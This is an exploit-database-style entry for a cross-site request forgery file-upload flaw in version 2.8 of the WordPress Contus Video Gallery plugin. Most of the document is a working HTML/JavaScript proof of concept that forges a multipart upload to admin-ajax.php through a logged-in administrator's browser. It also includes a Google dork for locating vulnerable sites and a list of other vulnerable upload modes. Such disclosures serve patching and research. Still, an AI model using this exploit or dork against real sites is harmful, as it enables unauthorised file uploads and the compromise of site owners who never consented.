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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title: Wordpress Video Gallery Plugin Multiple CSRF File Upload
# Google Dork: inurl:/wp-content/plugins/contus-video-gallery
# Date: 31 March 2015
# Exploit Author: Divya
# Vendor Homepage: https://wordpress.org/plugins/contus-video-gallery/
# Software Link: https://downloads.wordpress.org/plugin/contus-video-gallery.2.8.zip
# Version: 2.8
# Tested on: Windows, Linux
# CVE : None

CSRF File Upload Exploit Code:

<html>
<head>
<title>
WP Plugin CSRF File Upload
</title>
<body>
	<script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://192.168.1.2/wp-admin/admin-ajax.php?action=uploadvideo", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------103932797413649");
        xhr.withCredentials = true;
        var body = "-----------------------------103932797413649\r\n" + 
          "Content-Disposition: form-data; name=\"myfile\"; filename=\"test.mp4\"\r\n" + 
          "Content-Type: video/mp4\r\n" + 
          "\r\n" + 
          "hello world how are you\r\n" + 
          "-----------------------------103932797413649\r\n" + 
          "Content-Disposition: form-data; name=\"mode\"\r\n" + 
          "\r\n" + 
          "video\r\n" + 
          "-----------------------------103932797413649--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit" onclick="submitRequest();" />
    </form>

	
  </body>
</html>


Other CSRF vulnerable areas of application:
URL: http://192.168.1.2/wp-admin/admin-ajax.php?action=uploadvideo
Data: myfile=[upload_file_details]&mode=video

URL: http://192.168.1.2/wp-admin/admin-ajax.php?action=uploadvideo
Data: myfile=[upload_file_details]&mode=image

URL: http://192.168.1.2/wp-admin/admin-ajax.php?action=uploadvideo
Data: myfile=[upload_file_details]&mode=srt